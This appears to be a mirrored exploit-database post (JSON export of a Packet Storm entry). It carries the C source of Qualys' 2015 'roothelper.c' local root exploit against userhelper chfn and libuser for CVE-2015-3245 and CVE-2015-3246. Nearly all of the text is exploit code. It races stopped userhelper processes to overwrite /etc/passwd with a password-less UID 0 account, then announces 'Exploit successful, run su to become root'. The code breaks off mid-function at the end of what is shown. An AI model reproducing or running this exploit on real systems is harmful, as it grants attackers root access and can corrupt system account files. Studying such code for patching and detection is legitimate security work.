{"id":40485,"date":"2026-02-11T12:47:34","date_gmt":"2026-02-11T12:47:34","guid":{"rendered":"http:\/\/localhost\/?p=40485"},"modified":"2026-02-11T12:47:34","modified_gmt":"2026-02-11T12:47:34","slug":"libuser-denial-of-service-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40485","title":{"rendered":"libuser Denial of Service \/ Privilege Escalation_PACKETSTORM:215331"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-11T17:56:38&#8243;,&#8221;description&#8221;:&#8221;This is an old proof of concept from 2015 that demonstrates userhelper chfn newline filtering and libuser passwd file handling vulnerabilities&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-11T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;libuser Denial of Service \/ Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215331&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2015-3245&#8243;,&#8221;CVE-2015-3246&#8243;],&#8221;sourceData&#8221;:&#8221;\/*\\n     * roothelper.c &#8211; an unusual local root exploit against:\\n     * CVE-2015-3245 userhelper chfn() newline filtering\\n     * CVE-2015-3246 libuser passwd file handling\\n     * Copyright (C) 2015 Qualys, Inc.\\n     *\\n     * gecos_* types and functions inspired by userhelper.c\\n     * Copyright (C) 1997-2003, 2007, 2008 Red Hat, Inc.\\n     *\\n     * UH_* #defines and comments inspired by userhelper.h\\n     * Copyright (C) 1997-2001, 2007 Red Hat, Inc.\\n     *\\n     * This program is free software: you can redistribute it and\/or modify\\n     * it under the terms of the GNU General Public License as published by\\n     * the Free Software Foundation, either version 3 of the License, or\\n     * (at your option) any later version.\\n     *\\n     * This program is distributed in the hope that it will be useful,\\n     * but WITHOUT ANY WARRANTY; without even the implied warranty of\\n     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\\n     * GNU General Public License for more details.\\n     *\\n     * You should have received a copy of the GNU General Public License\\n     * along with this program.  If not, see \\u003chttp:\/\/www.gnu.org\/licenses\/\\u003e.\\n     *\/\\n    \\n     #define _GNU_SOURCE\\n     #include \\u003cctype.h\\u003e\\n     #include \\u003cerrno.h\\u003e\\n     #include \\u003cfcntl.h\\u003e\\n     #include \\u003cinttypes.h\\u003e\\n     #include \\u003climits.h\\u003e\\n     #include \\u003cpwd.h\\u003e\\n     #include \\u003csched.h\\u003e\\n     #include \\u003csignal.h\\u003e\\n     #include \\u003cstdarg.h\\u003e\\n     #include \\u003cstdbool.h\\u003e\\n     #include \\u003cstdio.h\\u003e\\n     #include \\u003cstdlib.h\\u003e\\n     #include \\u003cstring.h\\u003e\\n     #include \\u003csys\/inotify.h\\u003e\\n     #include \\u003csys\/resource.h\\u003e\\n     #include \\u003csys\/socket.h\\u003e\\n     #include \\u003csys\/stat.h\\u003e\\n     #include \\u003csys\/time.h\\u003e\\n     #include \\u003csys\/types.h\\u003e\\n     #include \\u003csys\/wait.h\\u003e\\n     #include \\u003cunistd.h\\u003e\\n     \\n     \/* A maximum GECOS field length.  There&#8217;s no hard limit, so we guess. *\/\\n     #define GECOS_LENGTH                    127\\n     \\n     typedef char gecos_field[GECOS_LENGTH];\\n     \\n     \/* A structure to hold broken-out GECOS data.  The number and names of the\\n      * fields are dictated entirely by the flavor of finger we use.  Seriously. *\/\\n     struct gecos_data {\\n         gecos_field full_name;      \/* full user name *\/\\n         gecos_field office;         \/* office *\/\\n         gecos_field office_phone;   \/* office phone *\/\\n         gecos_field home_phone;     \/* home phone *\/\\n         gecos_field site_info;      \/* other stuff *\/\\n     };\\n     \\n     static struct userhelper {\\n         struct gecos_data gecos;\\n         rlim_t fsizelim;\\n         pid_t pid;\\n         int fd;\\n     } userhelpers[GECOS_LENGTH];\\n     \\n     static void\\n     die_in_parent(const char *const file, const unsigned int line,\\n                   const char *const function)\\n     {\\n         fprintf(stderr, \\&#8221;died in parent: %s:%u: %s\\\\n\\&#8221;, file, line, function);\\n         fflush(stderr);\\n     \\n         unsigned int i;\\n         for (i = 0; i \\u003c GECOS_LENGTH; i++) {\\n             const pid_t pid = userhelpers[i].pid;\\n             if (pid \\u003c= 0) continue;\\n             kill(pid, SIGKILL);\\n         }\\n         _exit(EXIT_FAILURE);\\n     }\\n     \\n     static void\\n     die_in_child(const char *const file, const unsigned int line,\\n                  const char *const function)\\n     {\\n         fprintf(stderr, \\&#8221;died in child: %s:%u: %s\\\\n\\&#8221;, file, line, function);\\n         exit(EXIT_FAILURE);\\n     }\\n     \\n     static void (*die_fn)(const char *, unsigned int, const char *) = die_in_parent;\\n     #define die() die_fn(__FILE__, __LINE__, __func__)\\n     \\n     static void *\\n     xmalloc(const size_t size)\\n     {\\n         if (size \\u003c= 0) die();\\n         if (size \\u003e= INT_MAX) die();\\n         void *const ptr = malloc(size);\\n         if (ptr == NULL) die();\\n         return ptr;\\n     }\\n     \\n     static void *\\n     xrealloc(void *const old, const size_t size)\\n     {\\n         if (size \\u003c= 0) die();\\n         if (size \\u003e= INT_MAX) die();\\n         void *const new = realloc(old, size);\\n         if (new == NULL) die();\\n         return new;\\n     }\\n     \\n     static char *\\n     xstrndup(const char *const old, const size_t len)\\n     {\\n         if (old == NULL) die();\\n         if (len \\u003e= INT_MAX) die();\\n     \\n         char *const new = strndup(old, len);\\n     \\n         if (new == NULL) die();\\n         if (len != strlen(new)) die();\\n         return new;\\n     }\\n     \\n     static int\\n     xsnprintf(char *const str, const size_t size, const char *const format, &#8230;)\\n     {\\n         if (str == NULL) die();\\n         if (size \\u003c= 0) die();\\n         if (size \\u003e= INT_MAX) die();\\n         if (format == NULL) die();\\n     \\n         va_list ap;\\n         va_start(ap, format);\\n         const int len = vsnprintf(str, size, format, ap);\\n         va_end(ap);\\n     \\n         if (len \\u003c 0) die();\\n         if ((unsigned int)len \\u003e= size) die();\\n         if ((unsigned int)len != strlen(str)) die();\\n         return len;\\n     }\\n     \\n     static int\\n     xopen(const char *const pathname, const int flags)\\n     {\\n         if (pathname == NULL) die();\\n         if (*pathname != &#8216;\/&#8217;) die();\\n         if (flags != O_RDONLY) die();\\n     \\n         const int fd = open(pathname, flags);\\n         if (fd \\u003c= -1) die();\\n     \\n         static const struct flock rdlock = {\\n             .l_type = F_RDLCK,\\n             .l_whence = SEEK_SET,\\n             .l_start = 0,\\n             .l_len = 0\\n         };\\n         if (fcntl(fd, F_SETLK, \\u0026rdlock) != 0) die();\\n         return fd;\\n     }\\n     \\n     static void\\n     xclose(const int fd)\\n     {\\n         if (fd \\u003c= -1) die();\\n         static const struct flock unlock = {\\n             .l_type = F_UNLCK,\\n             .l_whence = SEEK_SET,\\n             .l_start = 0,\\n             .l_len = 0\\n         };\\n         if (fcntl(fd, F_SETLK, \\u0026unlock) != 0) die();\\n         if (close(fd) != 0) die();\\n     }\\n     \\n     #define GECOS_BADCHARS \\&#8221;:,=\\\\n\\&#8221;\\n     \\n     \/* A simple function to compute the size of a gecos string containing the\\n      * data we have. *\/\\n     static size_t\\n     gecos_size(const struct gecos_data *const parsed)\\n     {\\n         if (parsed == NULL) die();\\n     \\n         size_t len = 4; \/* commas! *\/\\n         len += strlen(parsed-\\u003efull_name);\\n         len += strlen(parsed-\\u003eoffice);\\n         len += strlen(parsed-\\u003eoffice_phone);\\n         len += strlen(parsed-\\u003ehome_phone);\\n         len += strlen(parsed-\\u003esite_info);\\n         len++;\\n         return len;\\n     }\\n     \\n     \/* Parse the passed-in GECOS string and set PARSED to its broken-down contents.\\n        Note that the parsing is performed using the convention obeyed by BSDish\\n        finger(1) under Linux. *\/\\n     static void\\n     gecos_parse(const char *const gecos, struct gecos_data *const parsed)\\n     {\\n         if (gecos == NULL) die();\\n         if (strlen(gecos) \\u003e= INT_MAX) die();\\n     \\n         if (parsed == NULL) die();\\n         memset(parsed, 0, sizeof(*parsed));\\n     \\n         unsigned int i;\\n         const char *field = gecos;\\n     \\n         for (i = 0; ; i++) {\\n             const char *field_end = strchrnul(field, &#8216;,&#8217;);\\n             gecos_field *dest = NULL;\\n     \\n             switch (i) {\\n             case 0:\\n                 dest = \\u0026parsed-\\u003efull_name;\\n                 break;\\n             case 1:\\n                 dest = \\u0026parsed-\\u003eoffice;\\n                 break;\\n             case 2:\\n                 dest = \\u0026parsed-\\u003eoffice_phone;\\n                 break;\\n             case 3:\\n                 dest = \\u0026parsed-\\u003ehome_phone;\\n                 break;\\n             case 4:\\n                 field_end = rawmemchr(field_end, &#8216;\\\\0&#8217;);\\n                 dest = \\u0026parsed-\\u003esite_info;\\n                 break;\\n             default:\\n                 die();\\n             }\\n             const size_t field_len = field_end &#8211; field;\\n             xsnprintf(*dest, sizeof(*dest), \\&#8221;%.*s\\&#8221;, (int)field_len, field);\\n             if (strlen(*dest) != field_len) die();\\n     \\n             if (strpbrk(*dest, GECOS_BADCHARS) != NULL \\u0026\\u0026 i != 4) die();\\n     \\n             if (*field_end == &#8216;\\\\0&#8217;) break;\\n             field = field_end + 1;\\n         }\\n         if (gecos_size(parsed) \\u003e GECOS_LENGTH) die();\\n     }\\n     \\n     \/* Assemble a new gecos string. *\/\\n     static const char *\\n     gecos_assemble(const struct gecos_data *const parsed)\\n     {\\n         static char ret[GECOS_LENGTH];\\n         size_t i;\\n     \\n         if (parsed == NULL) die();\\n         \/* Construct the basic version of the string. *\/\\n         xsnprintf(ret, sizeof(ret), \\&#8221;%s,%s,%s,%s,%s\\&#8221;,\\n                                     parsed-\\u003efull_name,\\n                                     parsed-\\u003eoffice,\\n                                     parsed-\\u003eoffice_phone,\\n                                     parsed-\\u003ehome_phone,\\n                                     parsed-\\u003esite_info);\\n         \/* Strip off terminal commas. *\/\\n         i = strlen(ret);\\n         while ((i \\u003e 0) \\u0026\\u0026 (ret[i &#8211; 1] == &#8216;,&#8217;)) {\\n             ret[i &#8211; 1] = &#8216;\\\\0&#8217;;\\n             i&#8211;;\\n         }\\n         return ret;\\n     }\\n     \\n     \/* Descriptors used to communicate between userhelper and consolhelper. *\/\\n     #define UH_INFILENO 3\\n     #define UH_OUTFILENO 4\\n     \\n     \/* Userhelper request format:\\n        request code as a single character,\\n        request data size as UH_REQUEST_SIZE_DIGITS decimal digits\\n        request data\\n        &#8216;\\\\n&#8217; *\/\\n     #define UH_REQUEST_SIZE_DIGITS 8\\n     \\n     \/* Synchronization point code. *\/\\n     #define UH_SYNC_POINT 32\\n     \\n     \/* Valid userhelper request codes. *\/\\n     #define UH_ECHO_ON_PROMPT 34\\n     #define UH_ECHO_OFF_PROMPT 35\\n     #define UH_EXPECT_RESP 39\\n     #define UH_SERVICE_NAME 40\\n     #define UH_USER 42\\n     \\n     \/* Consolehelper response format:\\n        response code as a single character,\\n        response data\\n        &#8216;\\\\n&#8217; *\/\\n     \\n     \/* Consolehelper response codes. *\/\\n     #define UH_TEXT 33\\n     \\n     \/* Valid userhelper error codes. *\/\\n     #define ERR_UNK_ERROR           255     \/* unknown error *\/\\n     \\n     \/* Paths, flag names, and other stuff. *\/\\n     #define UH_PATH \\&#8221;\/usr\/sbin\/userhelper\\&#8221;\\n     #define UH_FULLNAME_OPT \\&#8221;-f\\&#8221;\\n     #define UH_OFFICE_OPT \\&#8221;-o\\&#8221;\\n     #define UH_OFFICEPHONE_OPT \\&#8221;-p\\&#8221;\\n     #define UH_HOMEPHONE_OPT \\&#8221;-h\\&#8221;\\n     \\n     static char\\n     read_request(const int fd, char *const data, const size_t size)\\n     {\\n         if (fd \\u003c= -1) die();\\n         if (data == NULL) die();\\n         if (size \\u003e= INT_MAX) die();\\n     \\n         char header[1 + UH_REQUEST_SIZE_DIGITS + 1];\\n         if (read(fd, header, sizeof(header)-1) != sizeof(header)-1) die();\\n         header[sizeof(header)-1] = &#8216;\\\\0&#8217;;\\n     \\n         errno = 0;\\n         char *endptr = NULL;\\n         const unsigned long len = strtoul(\\u0026header[1], \\u0026endptr, 10);\\n         if (errno != 0 || endptr != \\u0026header[sizeof(header)-1]) die();\\n     \\n         if (len \\u003e= size) die();\\n         if (read(fd, data, len+1) != (ssize_t)(len+1)) die();\\n         if (data[len] != &#8216;\\\\n&#8217;) die();\\n         data[len] = &#8216;\\\\0&#8217;;\\n     \\n         if (strlen(data) != len) die();\\n         if (strchr(data, &#8216;\\\\n&#8217;) != NULL) die();\\n         return header[0];\\n     }\\n     \\n     static void\\n     send_reply(const int fd, const unsigned char type, const char *const data)\\n     {\\n         if (fd \\u003c= -1) die();\\n         if (!isascii(type)) die();\\n         if (!isprint(type)) die();\\n         if (data == NULL) die();\\n         if (strpbrk(data, \\&#8221;\\\\r\\\\n\\&#8221;) != NULL) die();\\n     \\n         char buf[BUFSIZ];\\n         const int len = xsnprintf(buf, sizeof(buf), \\&#8221;%c%s\\\\n\\&#8221;, (int)type, data);\\n         if (send(fd, buf, len, MSG_NOSIGNAL) != len) die();\\n     }\\n     \\n     #define ETCDIR \\&#8221;\/etc\\&#8221;\\n     #define PASSWD \\&#8221;\/etc\/passwd\\&#8221;\\n     #define BACKUP \\&#8221;\/etc\/passwd-\\&#8221;\\n     \\n     static struct {\\n         char username[64];\\n         char password[64];\\n         struct gecos_data gecos;\\n     } my;\\n     \\n     static volatile sig_atomic_t is_child_dead;\\n     \\n     static void\\n     sigchild_handler(const int signum __attribute__ ((__unused__)))\\n     {\\n         is_child_dead = true;\\n     }\\n     \\n     static int\\n     wait_for_userhelper(struct userhelper *const uh, const int options)\\n     {\\n         if (uh == NULL) die();\\n         if (uh-\\u003epid \\u003c= 0) die();\\n         if ((options \\u0026 ~(WUNTRACED | WCONTINUED)) != 0) die();\\n     \\n         int status;\\n         for (;;) {\\n             const pid_t pid = waitpid(uh-\\u003epid, \\u0026status, options);\\n             if (pid == uh-\\u003epid) break;\\n             if (pid \\u003e 0) _exit(255);\\n     \\n             if (pid != -1) die();\\n             if (errno != EINTR) die();\\n         }\\n         if (WIFEXITED(status) || WIFSIGNALED(status)) uh-\\u003epid = -1;\\n         return status;\\n     }\\n     \\n     static void\\n     forkstop_userhelper(struct userhelper *const uh)\\n     {\\n         if (uh == NULL) die();\\n         if (uh-\\u003epid != 0) die();\\n         if (gecos_size(\\u0026uh-\\u003egecos) \\u003e GECOS_LENGTH) die();\\n     \\n         struct rlimit fsize;\\n         if (getrlimit(RLIMIT_FSIZE, \\u0026fsize) != 0) die();\\n         if (uh-\\u003efsizelim \\u003e fsize.rlim_max) die();\\n         if (uh-\\u003efsizelim \\u003c= 0) die();\\n         fsize.rlim_cur = uh-\\u003efsizelim;\\n     \\n         cpu_set_t old_cpus;\\n         CPU_ZERO(\\u0026old_cpus);\\n         if (sched_getaffinity(0, sizeof(old_cpus), \\u0026old_cpus) != 0) die();\\n     \\n         { const int cpu = sched_getcpu();\\n         if (cpu \\u003e= CPU_SETSIZE) die();\\n         if (cpu \\u003c 0) die();\\n         cpu_set_t new_cpus;\\n         CPU_ZERO(\\u0026new_cpus);\\n         CPU_SET(cpu, \\u0026new_cpus);\\n         if (sched_setaffinity(0, sizeof(new_cpus), \\u0026new_cpus) != 0) die(); }\\n     \\n         int sv[2];\\n         if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) != 0) die();\\n     \\n         if (is_child_dead) die();\\n         static const struct sigaction sigchild_action = {\\n             .sa_handler = sigchild_handler, .sa_flags = SA_NOCLDSTOP };\\n         if (sigaction(SIGCHLD, \\u0026sigchild_action, NULL) != 0) die();\\n     \\n         uh-\\u003epid = fork();\\n         if (uh-\\u003epid \\u003c= -1) die();\\n     \\n         if (uh-\\u003epid == 0) {\\n             die_fn = die_in_child;\\n             if (close(sv[1]) != 0) die();\\n             if (dup2(sv[0], UH_INFILENO) != UH_INFILENO) die();\\n             if (dup2(sv[0], UH_OUTFILENO) != UH_OUTFILENO) die();\\n     \\n             const int devnull_fd = open(\\&#8221;\/dev\/null\\&#8221;, O_RDWR);\\n             if (dup2(devnull_fd, STDIN_FILENO) != STDIN_FILENO) die();\\n             if (dup2(devnull_fd, STDOUT_FILENO) != STDOUT_FILENO) die();\\n             if (dup2(devnull_fd, STDERR_FILENO) != STDERR_FILENO) die();\\n     \\n             if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();\\n             if (signal(SIGXFSZ, SIG_IGN) == SIG_ERR) die();\\n             if (setrlimit(RLIMIT_FSIZE, \\u0026fsize) != 0) die();\\n     \\n             if (setpriority(PRIO_PROCESS, 0, +19) != 0) die();\\n             static const struct sched_param sched_param = { .sched_priority = 0 };\\n             (void) sched_setscheduler(0, SCHED_IDLE, \\u0026sched_param);\\n     \\n             char *const argv[] = { UH_PATH,\\n                                    UH_FULLNAME_OPT,    uh-\\u003egecos.full_name,\\n                                    UH_OFFICE_OPT,      uh-\\u003egecos.office,\\n                                    UH_OFFICEPHONE_OPT, uh-\\u003egecos.office_phone,\\n                                    UH_HOMEPHONE_OPT,   uh-\\u003egecos.home_phone,\\n                                    NULL };\\n             char *const envp[] = { NULL };\\n             execve(UH_PATH, argv, envp);\\n             die();\\n         }\\n         if (die_fn != die_in_parent) die();\\n         if (close(sv[0]) != 0) die();\\n         uh-\\u003efd = sv[1];\\n     \\n         unsigned long expected_responses = 0;\\n         for (;;) {\\n             char data[BUFSIZ];\\n             const char type = read_request(uh-\\u003efd, data, sizeof(data));\\n             if (type == UH_SYNC_POINT) break;\\n     \\n             switch (type) {\\n             case UH_USER:\\n                 if (strcmp(data, my.username) != 0) die();\\n                 break;\\n             case UH_SERVICE_NAME:\\n                 if (strcmp(data, \\&#8221;chfn\\&#8221;) != 0) die();\\n                 break;\\n             case UH_ECHO_ON_PROMPT:\\n             case UH_ECHO_OFF_PROMPT:\\n                 if (++expected_responses == 0) die();\\n                 break;\\n             case UH_EXPECT_RESP:\\n                 if (strtoul(data, NULL, 10) != expected_responses) die();\\n                 break;\\n             default:\\n                 break;\\n             }\\n         }\\n         if (expected_responses != 1) die();\\n     \\n         const int lpasswd_fd = xopen(PASSWD, O_RDONLY);\\n         const int inotify_fd = inotify_init();\\n         if (inotify_fd \\u003c= -1) die();\\n         if (inotify_add_watch(inotify_fd, PASSWD, IN_CLOSE_NOWRITE |\\n               IN_OPEN) \\u003c= -1) die();\\n         if (inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE) \\u003c= -1) {\\n             if (errno != ENOENT) die();\\n             if (inotify_add_watch(inotify_fd, ETCDIR, IN_CREATE) \\u003c= -1) die();\\n         }\\n     \\n         send_reply(uh-\\u003efd, UH_TEXT, my.password);\\n         send_reply(uh-\\u003efd, UH_SYNC_POINT, \\&#8221;\\&#8221;);\\n         if (close(uh-\\u003efd) != 0) die();\\n         uh-\\u003efd = -1;\\n     \\n         unsigned int state = 0;\\n         static const uint32_t transition[] = { IN_CLOSE_WRITE,\\n                                                IN_CLOSE_NOWRITE, IN_OPEN, 0 };\\n         for (;;) {\\n             if (is_child_dead) die();\\n             char buffer[10 * (sizeof(struct inotify_event) + NAME_MAX + 1)];\\n             const ssize_t _buflen = read(inotify_fd, buffer, sizeof(buffer));\\n             if (is_child_dead) die();\\n     \\n             if (_buflen \\u003c= 0) die();\\n             size_t buflen = _buflen;\\n             if (buflen \\u003e sizeof(buffer)) die();\\n     \\n             struct inotify_event *ep;\\n             for (ep = (struct inotify_event *)(buffer); buflen \\u003e= sizeof(*ep);\\n                  ep = (struct inotify_event *)(ep-\\u003ename + ep-\\u003elen)) {\\n                 buflen -= sizeof(*ep);\\n     \\n                 if (ep-\\u003elen \\u003e 0) {\\n                     if (buflen \\u003c ep-\\u003elen) die();\\n                     buflen -= ep-\\u003elen;\\n                     if ((ep-\\u003emask \\u0026 IN_CREATE) == 0) die();\\n                     (void) inotify_add_watch(inotify_fd, BACKUP, IN_CLOSE_WRITE);\\n                     continue;\\n                 }\\n                 if (ep-\\u003elen != 0) die();\\n                 while ((ep-\\u003emask \\u0026 transition[state]) != 0) {\\n                     ep-\\u003emask \\u0026= ~transition[state++];\\n                     if (transition[state] == 0) goto stop_userhelper;\\n                 }\\n             }\\n             if (buflen != 0) die();\\n         }\\n         stop_userhelper:\\n         if (kill(uh-\\u003epid, SIGSTOP) != 0) die();\\n         if (close(inotify_fd) != 0) die();\\n     \\n         const int status = wait_for_userhelper(uh, WUNTRACED);\\n         if (!WIFSTOPPED(status)) die();\\n         if (WSTOPSIG(status) != SIGSTOP) die();\\n     \\n         xclose(lpasswd_fd);\\n         if (signal(SIGCHLD, SIG_DFL) == SIG_ERR) die();\\n         if (sched_setaffinity(0, sizeof(old_cpus), \\u0026old_cpus) != 0) die();\\n     }\\n     \\n     static void\\n     continue_userhelper(struct userhelper *const uh)\\n     {\\n         if (uh == NULL) die();\\n         if (uh-\\u003efd != -1) die();\\n         if (uh-\\u003epid \\u003c= 0) die();\\n     \\n         if (kill(uh-\\u003epid, SIGCONT) != 0) die();\\n     \\n         { const int status = wait_for_userhelper(uh, WCONTINUED);\\n         if (!WIFCONTINUED(status)) die(); }\\n     \\n         { const int status = wait_for_userhelper(uh, 0);\\n         if (!WIFEXITED(status)) die();\\n         if (WEXITSTATUS(status) !=\\n               ((uh-\\u003efsizelim == RLIM_INFINITY) ? 0 : ERR_UNK_ERROR)) die(); }\\n     \\n         memset(uh, 0, sizeof(*uh));\\n     }\\n     \\n     static void\\n     create_backup_of_passwd_file(void)\\n     {\\n         char backup[] = \\&#8221;\/tmp\/passwd-XXXXXX\\&#8221;;\\n         const mode_t prev_umask = umask(077);\\n         const int ofd = mkstemp(backup);\\n         (void) umask(prev_umask);\\n         if (ofd \\u003c= -1) die();\\n     \\n         printf(\\&#8221;Creating a backup copy of \\\\\\&#8221;%s\\\\\\&#8221; named \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, PASSWD, backup);\\n         const int ifd = xopen(PASSWD, O_RDONLY);\\n         for (;;) {\\n             char buf[BUFSIZ];\\n             const ssize_t len = read(ifd, buf, sizeof(buf));\\n             if (len == 0) break;\\n             if (len \\u003c= 0) die();\\n             if (write(ofd, buf, len) != len) die();\\n         }\\n         xclose(ifd);\\n         if (close(ofd) != 0) die();\\n     }\\n     \\n     static void\\n     delete_lines_from_passwd_file(void)\\n     {\\n         struct gecos_data gecos;\\n         memset(\\u0026gecos, 0, sizeof(gecos));\\n         xsnprintf(gecos.site_info, sizeof(gecos.site_info),\\n                                  \\&#8221;%s\\&#8221;, my.gecos.site_info);\\n         const ssize_t fullname_max = GECOS_LENGTH &#8211; gecos_size(\\u0026gecos);\\n         if (fullname_max \\u003e= GECOS_LENGTH) die();\\n         if (fullname_max \\u003c= 0) die();\\n     \\n         char fragment[64];\\n         xsnprintf(fragment, sizeof(fragment), \\&#8221;\\\\n%s:\\&#8221;, my.username);\\n     \\n         char *contents = NULL;\\n         for (;;) {\\n             struct stat st;\\n             const int fd = xopen(PASSWD, O_RDONLY);\\n             if (fstat(fd, \\u0026st) != 0) die();\\n             if (st.st_size \\u003e= INT_MAX) die();\\n             if (st.st_size \\u003c= 0) die();\\n     \\n             contents = xrealloc(contents, st.st_size + 1);\\n             if (read(fd, contents, st.st_size) != st.st_size) die();\\n             contents[st.st_size] = &#8216;\\\\0&#8217;;\\n             xclose(fd);\\n     \\n             const char *cp = strstr(contents, fragment);\\n             if (cp == NULL) die();\\n             cp = strchr(cp + 2, &#8216;\\\\n&#8217;);\\n             if (cp == NULL) die();\\n             if (cp[1] == &#8216;\\\\0&#8217;) break;\\n     \\n             char *const tp = contents + st.st_size-1;\\n             *tp = &#8216;\\\\0&#8217;;\\n             if (tp \\u003c= cp) die();\\n             if (tp &#8211; cp \\u003e fullname_max) cp = tp &#8211; fullname_max;\\n             cp = strpbrk(cp, \\&#8221;\\\\n:, \\&#8221;);\\n             if (cp == NULL) die();\\n     \\n             const ssize_t fullname_len = tp &#8211; cp;\\n             if (fullname_len \\u003e= GECOS_LENGTH) die();\\n             if (fullname_len \\u003c= 0) die();\\n     \\n             printf(\\&#8221;Deleting %zd bytes from \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, fullname_len, PASSWD);\\n     \\n             struct userhelper *const uh = \\u0026userhelpers[0];\\n             memset(uh-\\u003egecos.full_name, &#8216;A&#8217;, fullname_len);\\n             uh-\\u003efsizelim = st.st_size;\\n             forkstop_userhelper(uh);\\n             continue_userhelper(uh);\\n     \\n             uh-\\u003efsizelim = RLIM_INFINITY;\\n             forkstop_userhelper(uh);\\n             continue_userhelper(uh);\\n         }\\n         free(contents);\\n     }\\n     \\n     static size_t passwd_fsize;\\n     static int generate_userhelpers(const char *);\\n     #define IS_USER_LAST \\&#8221;last user in passwd file?\\&#8221;\\n     \\n     static char candidate_users[256];\\n     static char superuser_elect;\\n     \\n     int\\n     main(void)\\n     {\\n         create_backup_of_passwd_file();\\n     \\n         { char candidate[] = \\&#8221;a\\&#8221;;\\n         for (; candidate[0] \\u003c= &#8216;z&#8217;; candidate[0]++) {\\n             if (getpwnam(candidate) != NULL) continue;\\n             strcat(candidate_users, candidate);\\n         } }\\n         if (candidate_users[0] == &#8216;\\\\0&#8217;) die();\\n     \\n         const struct passwd *const pwd = getpwuid(getuid());\\n         if ((pwd == NULL) || (pwd-\\u003epw_name == NULL)) die();\\n         xsnprintf(my.username, sizeof(my.username), \\&#8221;%s\\&#8221;, pwd-\\u003epw_name);\\n         gecos_parse(pwd-\\u003epw_gecos, \\u0026my.gecos);\\n     \\n         if (fputs(\\&#8221;Please enter your password:\\\\n\\&#8221;, stdout) == EOF) die();\\n         if (fgets(my.password, sizeof(my.password), stdin) == NULL) die();\\n         char *const newline = strchr(my.password, &#8216;\\\\n&#8217;);\\n         if (newline == NULL) die();\\n         *newline = &#8216;\\\\0&#8217;;\\n     \\n         { struct userhelper *const uh = \\u0026userhelpers[0];\\n         uh-\\u003efsizelim = RLIM_INFINITY;\\n         forkstop_userhelper(uh);\\n         continue_userhelper(uh); }\\n     \\n         retry:\\n         if (generate_userhelpers(IS_USER_LAST)) {\\n             struct userhelper *const uh1 = \\u0026userhelpers[1];\\n             strcpy(uh1-\\u003egecos.full_name, \\&#8221;\\\\n\\&#8221;);\\n             uh1-\\u003efsizelim = passwd_fsize + 1;\\n     \\n             struct userhelper *const uh0 = \\u0026userhelpers[0];\\n             uh0-\\u003efsizelim = passwd_fsize;\\n     \\n             forkstop_userhelper(uh1), forkstop_userhelper(uh0);\\n             continue_userhelper(uh1), continue_userhelper(uh0);\\n             if (generate_userhelpers(IS_USER_LAST)) die();\\n         }\\n     \\n         static const char a[] = \\&#8221;?::0:0::\/:\\&#8221;;\\n         printf(\\&#8221;Attempting to add \\\\\\&#8221;%s\\\\\\&#8221; to \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, a, PASSWD);\\n     \\n         const int n = generate_userhelpers(a);\\n         if (n == -1) {\\n             static int retries;\\n             if (retries++) die();\\n             memset(userhelpers, 0, sizeof(userhelpers));\\n             delete_lines_from_passwd_file();\\n             goto retry;\\n         }\\n         if (n \\u003c= 0) die();\\n         if (n \\u003e= GECOS_LENGTH) die();\\n         if (superuser_elect == &#8216;\\\\0&#8217;) die();\\n     \\n         int i;\\n         for (i = n; &#8211;i \\u003e= 0; ) {\\n             printf(\\&#8221;Starting and stopping userhelper #%d\\\\n\\&#8221;, i);\\n             forkstop_userhelper(\\u0026userhelpers[i]);\\n         }\\n         for (i = n; &#8211;i \\u003e= 0; ) {\\n             printf(\\&#8221;Continuing stopped userhelper #%d\\\\n\\&#8221;, i);\\n             continue_userhelper(\\u0026userhelpers[i]);\\n         }\\n         printf(\\&#8221;Exploit successful, run \\\\\\&#8221;su %c\\\\\\&#8221; to become root\\\\n\\&#8221;,\\n             (int)superuser_elect);\\n     \\n         { struct userhelper *const uh = \\u0026userhelpers[0];\\n         uh-\\u003efsizelim = RLIM_INFINITY;\\n         uh-\\u003egecos = my.gecos;\\n         forkstop_userhelper(uh);\\n         continue_userhelper(uh); }\\n     \\n         exit(EXIT_SUCCESS);\\n     }\\n     \\n     static void\\n     generate_fullname(char *const fullname, const ssize_t fullname_len,\\n         const char c)\\n     {\\n         if (fullname == NULL) die();\\n         if (fullname_len \\u003c 0) die();\\n         if (fullname_len \\u003e= GECOS_LENGTH) die();\\n     \\n         memset(fullname, &#8216;A&#8217;, fullname_len);\\n     \\n         if (fullname_len \\u003e 0 \\u0026\\u0026 strchr(GECOS_BADCHARS, c) == NULL) {\\n             if (!isascii((unsigned char)c)) die();\\n             if (!isgraph((unsigned char)c)) die();\\n             fullname[fullname_len-1] = c;\\n         }\\n     }\\n     \\n     static size_t siteinfo_len;\\n     static size_t fullname_off;\\n     \\n     static size_t before_fullname_len;\\n     static char * before_fullname;\\n     \\n     static size_t after_fullname_len;\\n     static char * after_fullname;\\n     \\n     static int\\n     generate_userhelper(const char *const a, const int i, char *const contents)\\n     {\\n         if (i \\u003c 0) {\\n             if (i != -1) die();\\n             return 0;\\n         }\\n         if (a == NULL) die();\\n         if ((unsigned int)i \\u003e= strlen(a)) die();\\n         if (contents == NULL) die();\\n     \\n         const char _c = a[i];\\n         const bool is_user_wildcard = (_c == &#8216;?&#8217;);\\n         const char c = (is_user_wildcard ? candidate_users[0] : _c);\\n         if (c == &#8216;\\\\0&#8217;) die();\\n     \\n         const size_t target = passwd_fsize-1 + i;\\n         const rlim_t fsizelim = (a[i+1] == &#8216;\\\\0&#8217;) ? RLIM_INFINITY : target+1;\\n         if (fsizelim \\u003c passwd_fsize) die();\\n     \\n         